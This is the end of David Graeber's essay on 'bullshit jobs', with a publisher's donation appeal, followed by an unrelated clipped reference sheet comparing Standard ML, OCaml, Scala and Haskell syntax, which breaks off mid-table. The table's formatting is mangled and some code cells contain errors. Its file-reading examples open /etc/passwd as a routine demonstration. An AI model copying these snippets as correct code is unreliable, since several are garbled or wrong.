But rather than allowing a massive reduction of working hours to free the
world’s population to pursue their own projects, pleasures, visions, and
ideas, we have seen the ballooning not even so much of the “service” sector as
of the administrative sector, up to and including the creation of whole new
industries like financial services or telemarketing, or the unprecedented
expansion of sectors like corporate law, academic and health administration,
human resources, and public relations**.** And these numbers do not even
reflect on all those people whose job is to provide administrative, technical,
or security support for these industries, or for that matter the whole host of
ancillary industries \(dog-washers, all-night pizza deliverymen\) that only
exist because everyone else is spending so much of their time working in all
the other ones**.**

These are what I propose to call “bullshit jobs**.** ”

It’s as if someone were out there making up pointless jobs just for the sake
of keeping us all working**.** And here, precisely, lies the mystery. In
capitalism, this is precisely what is _not_ supposed to happen**.** Sure, in
the old inefficient socialist states like the Soviet Union, where employment
was considered both a right and a sacred duty, the system made up as many jobs
as they had to \(this is why in Soviet department stores it took three clerks
to sell a piece of meat\)**.** But, of course, this is the sort of very
problem market competition is supposed to fix**.** According to economic
theory, at least, the last thing a profit-seeking firm is going to do is shell
out money to workers they don’t really need to employ**.** Still, somehow, it
happens.

While corporations may engage in ruthless downsizing, the layoffs and speed-
ups invariably fall on that class of people who are actually making, moving,
fixing and maintaining things; through some strange alchemy no one can quite
explain, the number of salaried paper-pushers ultimately seems to expand, and
more and more employees find themselves, not unlike Soviet workers actually,
working 40 or even 50 hour weeks on paper, but effectively working 15 hours
just as Keynes predicted, since the rest of their time is spent organizing or
attending motivational seminars, updating their facebook profiles or
downloading TV box-sets**.**

The answer clearly isn’t economic: it’s moral and political**.** The ruling
class has figured out that a happy and productive population with free time on
their hands is a mortal danger \(think of what started to happen when this
even began to be approximated in the ‘60s\)**.** And, on the other hand, the
feeling that work is a moral value in itself, and that anyone not willing to
submit themselves to some kind of intense work discipline for most of their
waking hours deserves nothing, is extraordinarily convenient for them**.**

Once, when contemplating the apparently endless growth of administrative
responsibilities in British academic departments, I came up with one possible
vision of hell**.** Hell is a collection of individuals who are spending the
bulk of their time working on a task they don’t like and are not especially
good at**.** Say they were hired because they were excellent cabinet-makers,
and then discover they are expected to spend a great deal of their time frying
fish**.** Neither does the task really need to be done – at least, there’s
only a very limited number of fish that need to be fried**.** Yet somehow,
they all become so obsessed with resentment at the thought that some of their
co-workers might be spending more time making cabinets, and not doing their
fair share of the fish-frying responsibilities, that before long there’s
endless piles of useless badly cooked fish piling up all over the workshop and
it’s all that anyone really does**.**

I think this is actually a pretty accurate description of the moral dynamics
of our own economy**.**

Now, I realise any such argument is going to run into immediate objections:
“who are you to say what jobs are really ‘necessary’**?** What’s necessary
anyway? You’re an anthropology professor, what’s the ‘need’ for that**?** ”
\(And indeed a lot of tabloid readers would take the existence of my job as
the very definition of wasteful social expenditure**.**\) And on one level,
this is obviously true. There can be no objective measure of social value.

I would not presume to tell someone who is convinced they are making a
meaningful contribution to the world that, really, they are not**.** But what
about those people who are themselves convinced their jobs are
meaningless**?** Not long ago I got back in touch with a school friend who I
hadn’t seen since I was 12**.** I was amazed to discover that in the interim,
he had become first a poet, then the front man in an indie rock band**.** I’d
heard some of his songs on the radio having no idea the singer was someone I
actually knew**.** He was obviously brilliant, innovative, and his work had
unquestionably brightened and improved the lives of people all over the
world**.** Yet, after a couple of unsuccessful albums, he’d lost his contract,
and plagued with debts and a newborn daughter, ended up, as he put it, “taking
the default choice of so many directionless folk: law school**.** ” Now he’s a
corporate lawyer working in a prominent New York firm**.** He was the first to
admit that his job was utterly meaningless, contributed nothing to the world,
and, in his own estimation, should not really exist**.**

There’s a lot of questions one could ask here, starting with, what does it say
about our society that it seems to generate an extremely limited demand for
talented poet-musicians, but an apparently infinite demand for specialists in
corporate law**?** \(Answer: if 1% of the population controls most of the
disposable wealth, what we call “the market” reflects what _they_ think is
useful or important, not anybody else**.**\) But even more, it shows that most
people in these jobs are ultimately aware of it**.** In fact, I’m not sure
I’ve ever met a corporate lawyer who didn’t think their job was bullshit**.**
The same goes for almost all the new industries outlined above**.** There is a
whole class of salaried professionals that, should you meet them at parties
and admit that you do something that might be considered interesting \(an
anthropologist, for example\), will want to avoid even discussing their line
of work entirely**.** Give them a few drinks, and they will launch into
tirades about how pointless and stupid their job really is**.**

This is a profound psychological violence here**.** How can one even begin to
speak of dignity in labour when one secretly feels one’s job should not
exist**?** How can it not create a sense of deep rage and resentment**.** Yet
it is the peculiar genius of our society that its rulers have figured out a
way, as in the case of the fish-fryers, to ensure that rage is directed
precisely against those who actually do get to do meaningful work**.** For
instance: in our society, there seems a general rule that, the more obviously
one’s work benefits other people, the less one is likely to be paid for
it**.** Again, an objective measure is hard to find, but one easy way to get a
sense is to ask: what would happen were this entire class of people to simply
disappear**?** Say what you like about nurses, garbage collectors, or
mechanics, it’s obvious that were they to vanish in a puff of smoke, the
results would be immediate and catastrophic**.** A world without teachers or
dock-workers would soon be in trouble, and even one without science fiction
writers or ska musicians would clearly be a lesser place**.** It’s not
entirely clear how humanity would suffer were all private equity CEOs,
lobbyists, PR researchers, actuaries, telemarketers, bailiffs or legal
consultants to similarly vanish**.** \(Many suspect it might markedly
improve.\) Yet apart from a handful of well-touted exceptions \(doctors\), the
rule holds surprisingly well**.**

Even more perverse, there seems to be a broad sense that this is the way
things should be**.** This is one of the secret strengths of right-wing
populism**.** You can see it when tabloids whip up resentment against tube
workers for paralysing London during contract disputes: the very fact that
tube workers can paralyse London shows that their work is actually necessary,
but this seems to be precisely what annoys people**.** It’s even clearer in
the US, where Republicans have had remarkable success mobilizing resentment
against school teachers, or auto workers \(and not, significantly, against the
school administrators or auto industry managers who actually cause the
problems\) for their supposedly bloated wages and benefits**.** It’s as if
they are being told “but you get to teach children**\!** Or make cars\! You
get to have real jobs\! And on top of that you have the nerve to also expect
middle-class pensions and health care**?** ”

If someone had designed a work regime perfectly suited to maintaining the
power of finance capital, it’s hard to see how they could have done a better
job**.** Real, productive workers are relentlessly squeezed and exploited**.**
The remainder are divided between a terrorised stratum of the, universally
reviled, unemployed and a larger stratum who are basically paid to do nothing,
in positions designed to make them identify with the perspectives and
sensibilities of the ruling class \(managers, administrators, etc\) – and
particularly its financial avatars – but, at the same time, foster a simmering
resentment against anyone whose work has clear and undeniable social
value**.** Clearly, the system was never consciously designed**.** It emerged
from almost a century of trial and error**.** But it is the only explanation
for why, despite our technological capacities, we are not all working 3-4 hour
days**.**

David Graeber  is a Professor of Anthropology at the London School of
Economics**.** His most recent book, The Democracy Project: A History, a
Crisis, a Movement , is published by Spiegel & Grau**.**

This page has been so popular that we our hosting fees have unexpectedly gone
through roof**.** We want to keep it up, so if you’ve enjoyed reading this, or
any of our other posts, please pick up a paper **.** We’re an anti-profit,
radical publisher that needs your support**.** Thank you**.**

<img src='img/Temp2_5804.jpg' />

Pick up your copy of Strike**\!** here

Tweet

****

# Type Inference Languages: Standard ML, OCaml, Scala, Haskell - Hyperpolyglot

**Created:**| _10/11/2011 6:32:52 PM_  
---|---  
**Updated:**| _10/11/2011 6:32:52 PM_  
**Author:**| __  
**Tags:**| _OCaml scala_  
  

# Hyperpolyglot

Type Inference Languages: Standard ML, OCaml, Scala, Haskell

_a side-by-side reference sheet_

arithmetic and logic | strings | lists and tuples | data types | functions and scope | execution control | environment and i/o | modules | objects | repl | history | thanks | contact | edit
| standard ml \(1990\)| ocaml \(1996\)| scala \(2003\)| haskell \(1990\)  
---|---|---|---|---  
version used|  _SML NJ 110.71_|  _3.11.0_|  _2.8_|  _6.12.1_  
version|  _SML NJ displays version on startup_|  $ ocaml -version| $ scala
-version| $ ghc \--version  
interpreter| | $ ocaml foo.ml| $ scala foo.scala| $ runghc foo.hs  
shebang|  _none_|  \#\!/usr/bin/env ocaml| \#\!/bin/sh  
exec scala $0 $@  
\!\#| \#\!/usr/bin/env runghc  
bytecode compiler and interpreter| | $ ocamlc foo.ml -o foo  
$ ocamlrun foo| $ scalac Foo.scala  
$ scala Foo|  _none_  
native compiler| | $ ocamlopt foo.ml -o foo  
$ ./foo|  _none_|  $ ghc -o foo foo.hs  
$ ./foo  
library which is always imported| | Pervasives| | Prelude  
statement terminator| ;| ;;| ; _or sometimes newline_|  _next line has equal
or less indentation, or_ ;  
blocks| \( _expr_ ; _…_ \)| \( _expr_ ; _…_ \)  
begin _expr_ ; _…_ end| \{ \}| _offside rule or_ \{ \}  
single line comment|  _none_|  _none_  
  
_F\#:_  
// _comment_|  // _comment_|  \-- _comment_  
multi-line comment| \(\* _comment  
another comment_ \*\)| \(\* _comment  
another comment_ \*\)| /\* _comment  
another comment_ \*/| \{- _comment  
another comment_ -\}  
hello world| print "hello world\n";| print\_string "hello world\n";;  
print\_endline "hello world";;  
_F\#:_  
printfn "hello world";;| println\("hello world"\)| main = putStrLn "hello
world"  
value| val a = 3;| let a = 3;;| val a = 3| a = 3  
variable| val a = ref 3;  
a := 4;  
\!a + 7;| let a = ref 3;;  
a := 4;;  
\!a + 7;;| var a = 3  
a = 4  
a + 7| a <\- return 3  
unit| \(\)| \(\)| \(\)| \(\)  
conditional expression| val x = 3;  
if x < 0 then ~x else x;| let x = 3;;  
if x < 0 then -x else x;;| val x = -3  
if \(x < 0\) -x else x| x = 3  
if x < 0 then -x else x  
branch type mismatch|  _compilation error:_  
if true then "hello" else 3;| _compilation error:_  
if true then "hello" else 3;;| _expression has type Any:_  
if \(true\) \{ "hello" \} else \{ 3 \}| _compilation error:_  
if True then "hello" else 3  
null| NONE| None| null| Nothing  
type declaration| | | 1: Double| 1 :: Double  
arithmetic and logic  
| standard ml| ocaml| scala| haskell  
true and false| true false| true false| true false| True False  
boolean type| bool| bool| Boolean| Bool  
logical operators| andalso orelse not| && || not| && || \!| && || not  
relational operators| = <> < > <= >=| = <> < > <= >=| == \!= < > <= >=| == /=
< > <= >=  
numeric types| int real| int float  
_other numeric types:_  
int32 int64 nativeint|  _types of numeric literals:_  
Int Double  
_other numeric types:_  
Byte Short Float BigInt| Integer Double  
integer operators| \+ - \* div mod| \+ - \* / mod  
mod _is an infix operator. F\# uses_ % _instead of_ mod| \+ - \* / %| \+ - \*
div rem  
div _and_ rem _are functions, not infix operators_  
integer exponentiation| |  _none_|  _none_|  2 ^ 3  
largest integer| |  _int:_ 230-1|  _Int:_ 231-1  
_Long:_ 263-1  
_BigInt: none_|  _none_  
integer overflow|  _Overflow exception_|  _modular arithmetic_|  _modular
arithmetic for all types except_ BigInt|  _no overflow_  
integer division by zero| |  _raises_ Division\_by\_zero  
_F\#:_  
System.DivideByZeroException| java.lang.ArithmeticException|  _Exception:
divide by zero_  
integer division, remainder, float division| 7 div 3  
7 mod 3  
real 7 / real 3| 7 / 3  
7 mod 3  
float 7 /. float 3| 7 / 3  
7 % 3  
\(7: Double\) / 3| div 7 3  
rem 7 3  
7 / 3  
negative integer literal| ~4| -4| -4| -4  
float operators| \+ - \* /| +. -. \*. /.  
_F\#:_  
+ \- \* /| \+ - \* /| \+ - \* /  
float exponentiation| Math.pow \(2.0,3.0\);| 2.0 \*\* 3.0;;|
math.pow\(2.0,3.0\)  
_scala 2.7:_  
Math.pow\(2.0,3.0\)| 2.0 \*\* 3.0  
float functions| | sqrt exp log sin cos tan asin acos atan atan2| math.sqrt math.exp math.log math.sin math.cos math.tan math.asin math.acos math.atan math.atan2  
_use_ Math _in scala 2.7_|  sqrt exp log sin cos tan asin acos atan atan2  
add integer and float| real 3 + 7.0;| float 3 +. 7.0;;| 3 + 7.0| 3 + 7.0  
arithmetic truncation| round 3.14  
trunc 3.14  
floor 3.14  
ceil 3.14|  _??_  
truncate 3.14  
floor 3.14 _returns float_  
ceil 3.14 _returns float_  
_F\# has_ round| 3.14.round  
_??_  
3.14.floor _returns Double_  
3.14.ceil _returns Double_|  round 3.14  
truncate 3.14  
floor 3.14  
ceiling 3.14  
min and max| | min 1 2  
max 1 2| math.min 1 2  
math.max 1 2  
_use_ Math _in scala 2.7_|  min 1 2  
max 1 2  
float overflow| | infinity| Infinity| Infinity  
float division by zero| | infinity _or_ neg\_infinity| Infinity _or_ -Infinity| Infinity _or_ -Infinity  
sqrt -2.0|  _Math.sqrt ~2.0:_ nan|  _sqrt \(-2.0\):_ nan|
_math.sqrt\(-2.0\):_ NaN|  _sqrt \(-2.0\):_ NaN  
random integer, random float, normal float| | Random.int 100  
Random.float 1.0  
_none_|  val r = new java.util.Random  
r.nextInt\(100\)  
r.nextDouble  
r.nextGaussian| import System.Random  
getStdRandom \(randomR \(0, 99\)\)  
getStdRandom \(randomR \(0.0, 1.0\)\)  
_none_  
bit operators| | 1 lsl 4  
1 lsr 4  
1 land 3  
1 lor 3  
1 lxor 3  
lnot 1| 1 << 4  
1  >> 4  
1 & 3  
1 | 3  
1 ^ 3  
~ 1| import Data.Bits  
x = 1 :: Integer  
y = 3 :: Integer  
shiftL x 4  
shiftR x 4  
x .&. y  
x .|. y  
xor x y  
complement x  
strings  
| standard ml| ocaml| scala| haskell  
literal| "Hello, World\!"| "Hello, World\!"| "Hello, World\!"| "Hello,
World\!"  
string and char types| string char| string char| java.lang.String Char| String
Char  
string escapes| \000 \a \b \f \n \r \t \v \040| \b \n \r \t \" \' \\\ \040
\x7F| \b \f \n \r \t \" \' \u _hhhh_ \_o_ \_oo_ \_ooo_|  \0 \a \b \f \n \r \t
\v \" \& \' \\\ \x3bb \955  
concatenation| "Hello" ^ ", " ^ "World\!"| "Hello" ^ ", " ^ "World\!"  
_F\#:_  
"Hello" \+ ", " \+ "World\!"| "Hello" \+ ", " \+ "World\!"| "Hello" ++ ", " ++
"World\!"  
length| size "hello"| String.length "hello"  
_F\#:_  
"hello".Length| "hello".length| length "hello"  
index of substring| | | "hello".indexOf\("hell"\)|   
extract substring| substring \("hello",0,4\)| String.sub "hello" 0 4|
"hello".substring\(0,4\)| drop 0 \(take 4 "hello"\)  
number to string| Int.toString 3  
Real.toString 3.14| string\_of int 3  
string\_of\_float 3.14| 3.toString  
3.14.toString| show 3  
show 3.14  
string to number| | int\_of\_string "3"  
float\_of\_string "3.14"| "3".toInt  
"3.14".toFloat  
_raises_ NumberFormatException _if string doesn't completely parse_|  read
"3"::Integer  
read "3.14"::Double  
_raises exception if string doesn't completely parse_  
case manipulation| | String.uppercase "hello"  
String.lowercase "HELLO"  
String.capitalize "hello"| "hello".toUpperCase  
"HELLO".toLowerCase  
"hello".capitalize|  
character access| String.sub \("hello",0\)| "hello".\[0\]| "hello"\(0\)|
"hello" \!\! 0  
character literal| \#"h"| 'h'| 'h'| 'h'  
chr and ord| ord \#"a"  
chr 97| Char.code 'a'  
Char.chr 97| 'a'.toInt  
97.toChar| Char.ord 'a'  
Char.chr 97  
lists and tuples  
| standard ml| ocaml| scala| haskell  
list literal| \[1,2,3\]| \[1;2;3\]| List\(1,2,3\)| \[1,2,3\]  
list element access| List.nth \(\[1,2,3\],0\)| List.nth \[1;2;3\] 0|
List\(1,2,3\)\(0\)| \[1,2,3\] \!\! 0  
list head| List.hd \[1,2,3\]| List.hd \[1;2;3\]  
_F\#:_  
List.head \[1;2;3\]| List\(1,2,3\).head| head \[1,2,3\]  
list tail| List.tl \[1,2,3\]| List.tl \[1;2;3\]  
_F\#:_  
List.tail \[1;2;3\]| List\(1,2,3\).tail| tail \[1,2,3\]  
cons| 1::\[2,3\]| 1::\[2;3\]| 1 :: List\(2,3\)| 1 : \[2,3\]  
reverse| List.rev \[1,2,3\]| List.rev \[1;2;3\]| List\(1,2,3\).reverse|
reverse \[1,2,3\]  
sort| | List.sort min \[1;3;2;4\]  
List.sort max \[1;3;2;4\]| List\(1,3,2,4\).sort\(\(x,y\)=>x<y\)  
List\(1,3,2,4\).sort\(\_<\_\)  
List\(1,3,2,4\).sort\(\(x,y\)=>x>y\)  
List\(1,3,2,4\).sort\(\_>\_\)| List.sort \[1,3,2,4\]  
append| \[1,2\] @ \[3,4\]| \[1;2\] @ \[3;4\]  
List.append \[1;2\] \[3;4\]| List\(1,2\) ::: List\(3,4\)  
List\(1,2\) ++ List\(3,4\)| \[1,2\] ++ \[3,4\]  
concatenate list of lists| List.concat \[\[1,2\],\[3,4\]\]| List.concat
\[\[1;2\];\[3;4\]\]| List\(List\(1,2\), List\(3,4\)\).flatten|  
length| List.length \[1,2,3\]| List.length \[1;2;3\]| List\(1,2,3\).length|
length \[1,2,3\]  
each| fun f i = print \(\(Int.toString i\) ^ "\n"\);  
List.app f \[1,2,3\];| let f i = print\_endline \(string\_of\_int i\);;  
List.iter f \[1;2;3\];;| List\(1,2,3\).foreach\(i=>println\(i\)\)| mapM\_
print \[1,2,3\]  
map| List.map \(fn \(x\) => x + 2\) \[1,2,3\];| List.map \(\( \* \) 2\)
\[1;2;3\];;| List\(1,2,3\).map\(x=>2\*x\)  
List\(1,2,3\).map\[Int\]\(2\*\_\)| map \(\x -> x \* x\) \[1,2,3\]  
filter| List.filter \(fn \(x\) => x > 2\) \[1,2,3\];| List.filter \(\(<\) 2\)
\[1;2;3\];;| List\(1,2,3\).filter\(x=>x>2\)| filter \(\x -> x > 2\) \[1,2,3\]  
fold left| List.foldl \(op +\) 0 \[1,2,3\];| List.fold\_left \(+\) 0
\[1;2;3\];;  
_F\#:_  
List.fold \(-\) 0 \[1;2;3\];;| List\(1,2,3\).foldLeft\(0\)\(\_+\_\)  
List\(1,2,3\).foldLeft\(0\)\(\(x,y\)=>x+y\)| foldl \(+\) 0 \[1,2,3\]  
fold right| List.foldr \(op -\) 0 \[1,2,3\];| List.fold\_right \(-\) \[1;2;3\]
0;;| List\(1,2,3\).foldRight\(0\)\(\_-\_\)| foldr \(-\) 0 \[1,2,3\]  
tuple| \(1,"hello",true\)| \(1,"hello",true\)| \(1,"hello",true\)|
\(1,"hello",True\)  
tuple element access| \#1 \(1,"hello",true\)| match \(1,"hello",true\) with
\_,x,\_ -> x| \(1,"hello",true\).\_1| \(\\\(a, \_, \_\) -> a\)
\(1,"hello",True\)  
pair element access| \#1 \(12,"December"\)  
\#2 \(12,"December"\)| fst \(12, "December"\)  
snd \(12, "December"\)| \(12, "December"\).\_1  
\(12, "December"\).\_2| fst \(12, "December"\)  
snd \(12, "December"\)  
data types  
| standard ml| ocaml| scala| haskell  
algebraic sum type| datatype color = Red | Green | Blue| type color = Red | Green | Blue| abstract class Color  
case object Red extends Color  
case object Blue extends Color  
case object Green extends Color| data Color = Red | Green | Blue  
algebraic product type| type customer = \{id:int, name:string,
address:string\}| type customer = \{id:int; name:string; address:string\}|
case class Customer\(id: Int, name: String, address: String\)| data
CustomerType = Customer \{  
customerId :: Integer,  
name :: String,  
address :: String \}  
algebraic product literal| \{id=7, name="John", address="Topeka,KS"\}| \{id=7;
name="John"; address="Topeka,KS"\}| Customer\(7,"John","Topeka,KS"\)  
_scala 2.8:_  
Customer\(id=7, name="John", address="Topeka,KS"\)| Customer \{  
customerId=7,  
name="John",  
address="Topeka, KS" \}  
type synonym| type name = string| type name = string| type Name = String| type
Name = String  
type constructor with argument| datatype special\_int = SpecialInt of int;  
val x = SpecialInt 7;| type special\_int = SpecialInt of int;;  
let x = SpecialInt 7;;| class SpecialInt\(x: Int\)  
val x = new SpecialInt\(7\)| data SpecialIntType = SpecialInt Integer  
x = SpecialInt 7  
type constructor with tuple argument| datatype int\_pair = IntPair of int \*
int;  
val y = IntPair \(7,11\);| type int\_pair = IntPair of int \* int;;  
let y = IntPair \( 7, 11 \);;| class IntPair\(a: Int, b: Int\)  
val x = new IntPair\(7,11\)| data IntPairType = IntPair Integer Integer  
y = IntPair 7 11  
parametric type constructor| datatype \('a,'b\) twosome = Twosome of 'a \* 'b;  
val z = Twosome \("pi",3.14\);| type \('a,'b\) twosome = Twosome of 'a \* 'b;;  
let z = Twosome \("pi",3.14\);;| class Twosome\[A,B\]\(a: A, b: B\)  
val p = new Twosome\("pi",3.14\)| data TwosomeType a b = Twosome a b  
z = Twosome \("pi", 3.14\)  
recursive type| datatype binary\_tree = Leaf of int | Tree of binary\_tree \* binary\_tree;| type binary\_tree = Leaf of int | Tree of binary\_tree \* binary\_tree;;| abstract class BinaryTree  
case class Tree\(left: BinaryTree, right: BinaryTree\) extends BinaryTree  
case class Leaf\(x: Int\) extends BinaryTree| data BinaryTree = Leaf Integer | Tree BinaryTree BinaryTree  
match/with case/of| val c = Red;  
case c of Red => "red" | Blue => "blue" | Green => "green";| let c = Red;;  
match c with Red -> "red" | Blue -> "blue" | Green -> "green";;| val c:Color = Red;  
c match \{ case Red => "red"; case Green => "green"; case Blue => "blue" \}| c
= Red  
case c of Red -> "red"  
Green -> "green"  
Blue -> "blue"  
match guard|  _none, use if_|  match i with j when i < 0 -> -j | j -> j;;| match \{ case i: Int if i < 0 => \- i; case i: Int => i \}| _none, use if or piecewise function definition_  
match catchall| fun to\_s c = case c of Red => "red" | \_ => "not red";| let to\_s c = match c with Red -> "red" | \_ -> "not red";;  
to\_s Green;;| val c : Color = Green  
c match \{ case Red => "red"; case \_ => "not red" \}| c = Green  
case c of Red -> "red"; \_ -> "not red"  
null type| type list\_option\_int = int option list;  
val list = \[SOME 3,NONE, SOME ~4\];| type list\_option\_int = int option
list;;  
let list = \[Some 3; None; Some \(-4\)\];;| val list =
List\(Some\(3\),null,Some\(-4\)\)| list = \[Just\(3\),Nothing,Just\(-4\)\]  
functions and scope  
| standard ml| ocaml| scala| haskell  
let ... in ...| val z =  
let  
val x = 3.0  
val y = 2.0 \* x  
in  
x \* y  
end;| let z =  
let x = 3.0 in  
let y = 2.0 \*. x in  
x \*. y;;| val z = \{  
val x = 3.0  
val y = 2.0 \* x  
x \* y  
\}| z = let x = 3.0  
y = 2.0 \* x  
in x \* y  
where|  _none_|  _none_|  _none_|  z = x \* y  
where x = 3.0  
y = 2.0 \* x  
function| fun average a b = \( a + b \) / 2.0;| let average a b = \( a +. b \)
/. 2.0;;| def average\(a: Double,b: Double\) = \(a + b\) / 2.0  
_if body not an expression or if return type not inferable:_  
def average\(a: Double,b: Double\): Double = \{ \(a + b\) / 2.0 \}| average a
b = \(a + b\) / 2.0  
lambda| fn x => fn y => \(x+y\) / 2.0| fun x -> fun y -> \(x +. y\) /. 2.0|
\(x:Double, y:Double\) => \(x+y\) / 2.0| \x y -> \(x+y\) / 2.0  
piecewise defined function| val to\_s = fn Red => "red"  
| Green => "green"  
| Blue => "blue";| let to\_s = function Red -> "red"  
| Green -> "green"  
| Blue -> "blue";;| _none_|  to\_s Red = "red"  
to\_s Green = "green"  
to\_s Blue = "blue"  
recursive function| fun range a b =  
if a > b then \[\]  
else a :: range \(a+1\) b;| let rec range a b =  
if a > b then \[\]  
else a :: range \(a+1\) b;;| def range\(a:Int, b:Int\): List\[Int\] = if \(a >
b\) List\(\) else a :: range\(a+1,b\)| range a b = if a > b then \[\] else a :
range \(a+1\) b  
mutually-recursive-functions| | let rec even n = if n = 0 then true else odd \(n-1\)  
and odd n = if n = 0 then false else even \(n-1\);;| |   
named parameter| | let subtract ~m ~s = m - s;;  
subtract ~s: 3 ~m: 7;;| _scala 2.8:_  
def subtract\(m: Int, s: Int\) = m - s  
subtract\(s=3, m=7\)| _none_  
named parameter default value| | let logarithm ?\(base = \(exp 1.0\)\) x = log x /. \(log base\);;  
logarithm 2.718;;  
logarithm ~base: 2.0 10.0;;| _scala 2.8:_  
def logarithm\( x: Double, base: Double = math.exp\(1\)\) = math.log\(x\) /
math.log\(base\)  
logarithm\(2.718\)  
logarithm\(10, base=2\)| _none_  
infix operator in prefix position| \(op \* \) \(3,4\)| \( \* \) 3 4;;| _none_|
\( \* \) 3 4  
function in infix position| |  _none_|  _unary methods can be used as binary operators_|  add x y = x + y  
3 \`add\` 4  
currying| fun plus x y = x + y;  
val plus2 = plus 2;  
plus2 7;| let plus2 = \(+\) 2;;| def plus\(x: Int\)\(y: Int\) = x + y  
plus\(3\)\(7\)  
def plus2 = plus\(2\) \_  
plus2\(7\)| plus2 = \(+\) 2  
composition| | | | f x = x + 2  
g x = x \* 3  
\(f . g \) 4  
function composition operator| fun double x = 2 \* x;  
val quadruple = double o double;| _none_|  _none_|  double x = 2 \* x  
quadruple x = double . double  
lazy evaluation| | let first\_arg x y = x;;  
first\_arg 7 \(lazy \(1/0\) \);;| def first\_arg\(x: => Double, y: =>
Double\): Double = x  
first\_arg\(7, 1/0\)| _lazy evaluation is default:_  
first\_arg x y = x  
first\_arg 7 \(error "bam\!"\)  
strict evaluation| | | | first\_arg x y = seq y x  
first\_arg 7 \(error "bam\!"\)  
execution control  
| standard ml| ocaml| scala| haskell  
if| if x > 0 then  
print "pos\n"  
else  
\(\);| if x > 0 then  
print\_string "pos\n";;| if \( x > 0 \)  
println\("pos"\)| if x > 0  
then putStrLn "pos"  
else return \(\)  
if else-if else| if x > 0 then print "pos" else if x < 0 then print "neg" else
print "zero";| if x > 0 then  
print\_string "pos"  
else if x < 0 then  
print\_string "neg"  
else  
print\_string "zero";;| if \(x > 0\)  
println\("pos"\)  
else if \(x < 0\)  
println\("neg"\)  
else  
println\("zero"\)| if x > 0  
then putStrLn "pos"  
else if x < 0  
then putStrLn "neg"  
else putStrLn "zero"  
sequencing| | print\_string "one\n";  
print\_string "two\n";  
print\_string "three\n"| println\("one"\)  
println\("two"\)  
println\("three"\)| do  
putStrLn "one"  
putStrLn "two"  
putStrLn "three"  
while| | let i = ref 0;;  
while \!i < 10 do  
print\_string \(string\_of\_int \!i\);  
i := \!i + 1  
done;;| var i = 0  
while \(i<10\) \{  
printf\("%d\n", i\)  
i = i+1  
\}| _none_  
for| | for i = 1 to 10 do  
let s = string\_of\_int i in  
print\_string \(s ^ "\n"\)  
done;;| for \(i <\- 1 to 10\)  
println\(i\)| _none_  
for in reverse| | for i = 10 downto 1 do  
let s = string\_of\_int i in  
print\_string \(s ^ "\n"\)  
done;;| _none_|  _none_  
list iteration| |  _none_|  for \(i <\- List.range\(1, 11\).reverse\)  
println\(i\)| _none_  
loop| | let rec loop i =  
if i <= 10 then begin  
print\_endline \(string\_of\_int i\);  
loop \(i+1\)  
end in  
loop 0;;| _none_|  _none_  
raise error| | raise \(Failure "bam\!"\);;  
_or_  
failwith "bam\!";;| throw new Exception\("bam\!"\)| error "bam\!"  
handle error| | let x = try 1 / 0 with Division\_by\_zero -> 0;;| import java.lang.\_  
  
val x = try \{  
1 / 0  
\} catch \{  
case e: ArithmeticException => 0  
\}|  
type of exceptions| | exn| |   
user defined exception| | exception Foo of string;;  
raise \(Foo "invalid input"\);;| |   
standard exceptions| | Division\_by\_zero  
Failure _string_  
Not\_found  
Invalid\_argument _string_  
Match\_failure \(_string_ , _int_ , _int_\)  
Assert\_failure \(_string_ , _int_ , _int_\)  
Out\_of\_memory  
Stack\_overflow| |   
assert| | assert\(1 = 0\);;| assert\(1==0\)|   
environment and i/o  
| standard ml| ocaml| scala| haskell  
command line args| | for i = 0 to Array.length Sys.argv - 1 do  
print\_endline i Sys.argv.\(i\)  
done| object Test \{  
def main\(args: Array\[String\]\) \{  
for \(arg <\- args\)  
println\(arg\)  
\}  
\}| import System  
printArgs args = do  
if length args == 0  
then return \(\)  
else do  
putStrLn \(head args\)  
printArgs \(tail args\)  
main = do  
a <\- getArgs  
printArgs a  
read from file| fun displayFile\(file: string\) =  
let  
val f = TextIO.openIn file  
fun iter\(s: string option\) =  
case s of  
NONE =>  
\(TextIO.closeIn f\)  
| SOME\(line\) =>  
\(print line;  
iter\(TextIO.inputLine f\)\)  
in  
iter\(TextIO.inputLine f\)  
end  
displayFile\("/etc/passwd"\);| let ic = open\_in "/etc/passwd" in  
let line = input\_line ic in  
print\_endline line;;| import scala.io.Source  
val src = Source.fromFile\("/etc/passwd"\)  
for \(line <\- src.getLines\)  
print\(line\)| import IO  
readAndPrintLines h = do  
eof <\- hIsEOF h  
if eof  
then return \(\)  
else do  
line <\- hGetLine h  
putStrLn line  
readAndPrintLines h  
main = do  
h <\- openFile "/etc/passwd" ReadMode  
readAndPrintLines h  
write to file| val file = "/tmp/test-sml";  
val f = TextIO.openOut file;  
TextIO.output\(f, "hello out\n"\);  
TextIO.closeOut f;| open Printf  
let oc = open\_out "/tmp/test-ocaml" in  
fprintf oc "hello out\n";  
close\_out oc;;| val out = new java.io.FileWriter\("/tmp/test-scala"\)  
out.write\("hello out\n"\)  
out.close| s = "hello out\n"  
f = "/tmp/test-haskell"  
main = writeFile f s  
modules  
| standard ml| ocaml| scala| haskell  
module example| | |  _Baz.scala_  
package Foo.Bar;  
class Baz \{  
def say\(\) \{ println\("hello"\); \}  
\}  
  
_Main.scala_  
import Foo.Bar.Baz;  
object Main \{  
def main\(args : Array\[String\]\) \{  
val baz = new Baz;  
baz.say\(\);  
\}  
\}  
  
_to compile and run_  
$ scalac Baz.scala  
$ scalac Main.scala  
$ scala Main  
hello|  _Foo/Bar.hs_  
module Foo.Bar where  
data Baz = Baz  
say Baz = putStrLn "hello"  
  
_Main.hs_  
module Main where  
import Foo.Bar  
baz = Baz  
main = say baz  
  
_to compile and run_  
$ ghc -c Foo/Bar.hs  
$ ghc Main.hs  
$ ./Main  
hello  
namespaces| | | | values, constructors, type variables, type constructors, type classes, modules  
file name restrictions| |  _module_ Foo.Bar _must be in_ Foo.ml|  _none_|  _module_ Foo.Bar _must be in_ Foo/Bar.hs  
import| | open Graphics;;| | import Data.Bytestring  
module creation| |  _put code in file_ MODULE\_NAME _.ml_| |   
module alias| | module Gr = Graphics;;| | import qualified Data.Bytestring as B  
module separator| | .| | .  
submodule| |  _in A.ml:_  
module B =  
sig  
val display\_instruction : unit -> unit  
end =  
struct  
let msg = "attack"  
let display\_instruction \(\) = print\_endline msg  
end  
_in client source:_  
A.B.display\_instruction;;| |   
inspect module| | module M = List;;| |   
objects  
| standard ml| ocaml| scala| haskell  
class definition| | class counter = object  
val mutable n = 0  
method incr = n <\- n+1  
method get = n  
end;;| class Counter \{  
private var n = 0  
def incr\(\): Unit = \{ n = n+1 \}  
